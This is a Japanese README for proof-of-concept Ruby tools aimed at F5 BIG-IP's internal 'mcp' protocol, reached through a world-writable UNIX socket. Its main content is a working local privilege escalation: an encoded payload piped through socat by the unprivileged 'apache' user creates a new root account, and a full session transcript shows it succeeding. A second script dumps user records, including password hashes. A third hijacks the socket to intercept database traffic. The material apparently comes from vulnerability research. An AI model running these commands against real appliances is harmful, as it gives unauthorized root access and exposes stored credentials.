
F5 の `mcp` プロトコルの実装。脆弱性調査中にトラフィックをスニッフィングするための MitM ツールを含みます。
これはまだ完成も準備もできていませんが、コードをチェックインしたかったのです。
これは基本的に、F5 のデータベースプロトコル「mcp」を実装したもので、
UNIX ドメインソケットを通じて動作します。つまり、これらを使用するには、F5 デバイス上でシェルを利用できる必要があります。
通常は、スクリプトの出力を socat で /var/run/mcp に転送し、その応答を mcp-parser.rb に渡します。
詳細は後述します。
スクリプトの簡単な概要:
mcp-getloot.rb - ユーザーと変数をダンプするメッセージを生成しますmcp-privesc.rb - ユーザーアカウントを作成するメッセージを生成しますmcp-parser.rb - stdin に届いた mcp メッセージを解析しますmcp-mitm.rb - ターゲットホスト上の mcp メッセージを傍受します(root へのパスワードレス ssh の設定が必要です)mcp-builder.rb - mcp メッセージを構築するためのライブラリです(直接使う必要はありません)mcp-generateobjects.rb - mcp-objects.txt を生成するツールです(通常は不要です)MCP は F5 BigIP が使用するプロプライエタリ(AFAICT)なデータベースです。 を通じてアクセスされ、これは 0777 パーミッションの UNIX ドメインソケットです(つまり、任意のユーザーがアクセスできます)。
/var/run/mcpプロトコルは TLV スタイルで、非常に多くのタイプ(41,000 以上)があります。それらはすべて mcp-objects.txt にリストされています。
パーサーを実装しました。mcp-parser.rb にあります。また、さまざまなメッセージは mcp-parser-tests.rb にあります。
ビルダー mcp-builder.rb も作成しましたが、これは使いやすく設計されているわけではありません。root レベルのユーザーアカウントを作成する MCP パケットを生成する定義済み関数があります。これはかなりクールです。mcp-privesc.rb を使ってそのパケットを作成できます。
MCP と直接通信するには、通常 socat を使用します。mcp-builder.rb のコードはパケットを作成できますが、直接実行するようには設計されていません。直接使うことになると思われるスクリプトは次のとおりです:
mcp-getloot.rb - ユーザーと構成設定を取得するmcp-privesc.rb - 新しい root レベルのアカウントを追加するmcp-parser.rb - 応答を(stdin で)解析するクエリスクリプトのいずれかを使用するには、それを実行し、出力をターゲット上の UNIX ソケットに送信する方法を見つけてください。ここでは mcp-privesc.rb の出力を gzip + base64 エンコードする例を示します:
$ ruby ./mcp-privesc.rb blogtest MyFunPW | gzip | base64 -w0
Attempting to create a crypt-sha512 hash of the password
Writing an `mcp` message to stdout that'll create an account: blogtest / $6$vdznqfyc$q9LEJmhlDZK3HQY0L0WuiKfXaKJtQmOY7lIkMS/IxftTmZs.PdlYXxmxjRQ4f529gl13NsqWlZdd/eksunJT01
Send it to the target using: socat -t100 - UNIX-CONNECT:/var/run/mcp < mcpmessage.bin
H4sIAAAAAAAAA2NgYBBnQAICGgy8QIpfQJOBH0izM7AmpuRm5oFkkJVx54CVcajaMbBChSxR5KPA8oYCLGBaU4ANbBwXA0dSTn56SWpxiQA7RKcAB8yiaMecnFgg8yAWg3ZyC4LpjdxC6AbJnwSLcDCwOefn5ubnCcZDDOaWBItzM3DqJ2Xm6SclFmdwi4ClGLmFwVIpDEkqZiplKVV5hWmVySqFlj6uXrkZOS5R3sYegZEGPgbhpZneaRGJ3l4lgbn+keY5ntm+wfqeFWklIblRxXoBKTmRERW5FVlBgSZppkaW6TmGxn7FheE5USkp+qnZxaV5XiEGhmCnIXsoD+wRBgAyeb1ueQEAAA==
その後、それをコピーしてターゲットの ssh セッションに貼り付け、UNIX ソケットに送信できます(可能であることを示すために非 root ユーザーで実行していることに注意してください):
$ whoami
apache
$ echo -ne 'H4sIAAAAAAAAA2NgYBBnQAICGgy8QIpfQJOBH0izM7AmpuRm5oFkkJVx54CVcajaMbBChSxR5KPA8oYCLGBaU4ANbBwXA0dSTn56SWpxiQA7RKcAB8yiaMecnFgg8yAWg3ZyC4LpjdxC6AbJnwSLcDCwOefn5ubnCcZDDOaWBItzM3DqJ2Xm6SclFmdwi4ClGLmFwVIpDEkqZiplKVV5hWmVySqFlj6uXrkZOS5R3sYegZEGPgbhpZneaRGJ3l4lgbn+keY5ntm+wfqeFWklIblRxXoBKTmRERW5FVlBgSZppkaW6TmGxn7FheE5USkp+qnZxaV5XiEGhmCnIXsoD+wRBgAyeb1ueQEAAA==' | base64 -d | gunzip - | socat -t100 - UNIX-CONNECT:/var/run/mcp | gzip | base64 -w0
H4sIAB91UGMAA2NgYJBjQALcIQy8QEqMO5SBFcwPZ+AR0OCOAJKaYAUEVXNHgVRzCzIwAABM8W1YXAAAAA==
bash-4.2$ su blogtest
Password:
[...]
[blogtest@localhost:NO LICENSE:Standalone] config # whoami
root
また、取得した応答を mcp-parser.rb を使って解析することもできます:
$ echo -ne 'H4sIAB91UGMAA2NgYJBjQALcIQy8QEqMO5SBFcwPZ+AR0OCOAJKaYAUEVXNHgVRzCzIwAABM8W1YXAAAAA==' | base64 -d | gunzip - | ruby ./mcp-parser.rb
result (structure [22 bytes]):
result_code (ulong) = 0x00000000 (0)
result_operation (tag) = user_authenticated
result_type (tag) = user_authenticated_name
result (structure [22 bytes]):
result_code (ulong) = 0x00000000 (0)
result_operation (tag) = create
result_type (tag) = userdb_entry
もちろん、すべてを単一のコマンドで行うこともできます。次は mcp-getloot.rb の使い方です:
$ ruby ./mcp-getloot.rb | ssh [email protected] socat -t100 - UNIX-CONNECT:/var/run/mcp | ruby ./mcp-parser.rb | head -n30
Writing an `mcp` message to stdout that'll query for interesting stuff
Send it to the target using: socat -t100 - UNIX-CONNECT:/var/run/mcp < mcpmessage.bin
query_reply (structure [949 bytes]):
userdb_entry (structure [233 bytes]):
userdb_entry_name (string [6 bytes]) = "root"
trunk_virtual_mbr_transaction_id (ulong) = 0x00000001 (1)
userdb_entry_partition_id (string [8 bytes]) = "Common"
fw_analytics_settings_dns_collect_dst_i... (long) = 0xffffffff (4294967295)
userdb_entry_is_system (ulong) = 0x00000001 (1)
userdb_entry_oldpasswd (string [2 bytes]) = ""
userdb_entry_shell (string [11 bytes]) = "/bin/bash"
userdb_entry_gecos (string [6 bytes]) = "root"
userdb_entry_is_crypted (ulong) = 0x00000001 (1)
userdb_entry_passwd (string [100 bytes]) = "$6$UIHYzBX6$UClrSPt1o/G2meP27zBzRJnAjWEIkhNEQzqDYwn5gtnoKqFeGhnJveUUHGavaPU1FO9eif2pnADjDN/5YgMI3/"
userdb_entry_description (string [2 bytes]) = ""
userdb_entry_object_id (ulong) = 0x00002a70 (10864)
userdb_entry (structure [251 bytes]):
userdb_entry_name (string [7 bytes]) = "admin"
[...]
db_variable (structure [224 bytes]):
db_variable_name (string [38 bytes]) = "platform.diskmonitor.freelast.vmdisk"
db_variable_transaction_id (ulong) = 0x0000004b (75)
db_variable_scf_config (string [7 bytes]) = "false"
db_variable_maximum (string [2 bytes]) = ""
db_variable_minimum (string [2 bytes]) = ""
db_variable_data_type (string [9 bytes]) = "integer"
db_variable_sync_type (string [18 bytes]) = "private_internal"
db_variable_default (string [3 bytes]) = "0"
db_variable_value (string [3 bytes]) = "0"
db_variable_display_name (string [38 bytes]) = "Platform.DiskMonitor.FreeLast.vmdisk"
db_variable_object_id (ulong) = 0x0000e705 (59141)
db_variable_enumerated (array [6 bytes]): Array data: 000f00000000
また、データベースクエリをリアルタイムで検査・記録するツールも作成しました - mcp-mitm.rb。これはエクスプロイトではなく、root ログインを必要とする単なる分析ツールです。実際には、/var/run/mcp を移動し、それを私たちが制御するソケットに置き換えてから、そこを通過するすべてのメッセージを解析します。
実行するには:
ssh root@<target> できることを確認してください(またはコードを編集して DO_SETUP をオフにしてください)起動時にソケットが作成されるため、潜在的な「損傷」はほぼすべて再起動で修復されますが、おそらく本番環境ではやりたくないでしょう。
とにかく、引数なしで実行すると使用方法が表示されるので、重要な IP アドレスを入力します:
$ ruby ./mcp-mitm.rb
Usage: ruby ./mcp-mitm.rb <your ip> <target ip> [listen port 1] [listen port 2]
[...]
$ ruby ./mcp-mitm.rb 10.0.0.179 10.0.0.162
$ ruby ./mcp-mitm.rb 10.0.0.179 10.0.0.162
Configuration (edit the script to change, this is a PoC!):
Your IP: 10.0.0.179
Target IP: 10.0.0.162
Listening port 1: 1234
Listening port 2: 1235
SSH into the target to set things up: true
(Make sure you can ssh into the host as root with no password)
(Yes yes, I know it's a PoC!)
SSH'ing into the server to set things up
Ready!
しばらく待つ(またはサーバー上で何か操作をする)と、セッションが表示されます:
Received session @ #<TCPSocket:0x000000000170d630> <--> #<TCPSocket:0x000000000170d658>
user_authenticated (structure [15 bytes]):
user_authenticated_name (string [7 bytes]) = "admin"
start_transaction (structure [8 bytes]):
start_transaction_load_type (ulong) = 0x00000000 (0)
[...]
Ctrl-c で停止し、ソケットを修復します:
^CSSH'ing into the server to fix things
Session 1 closed?
Ending thread
Ending thread
Traceback (most recent call last):
3: from ./mcp-mitm.rb:149:in `<main>'
2: from ./mcp-mitm.rb:149:in `loop'
1: from ./mcp-mitm.rb:151:in `block in <main>'
./mcp-mitm.rb:151:in `accept': Interrupt
以上です!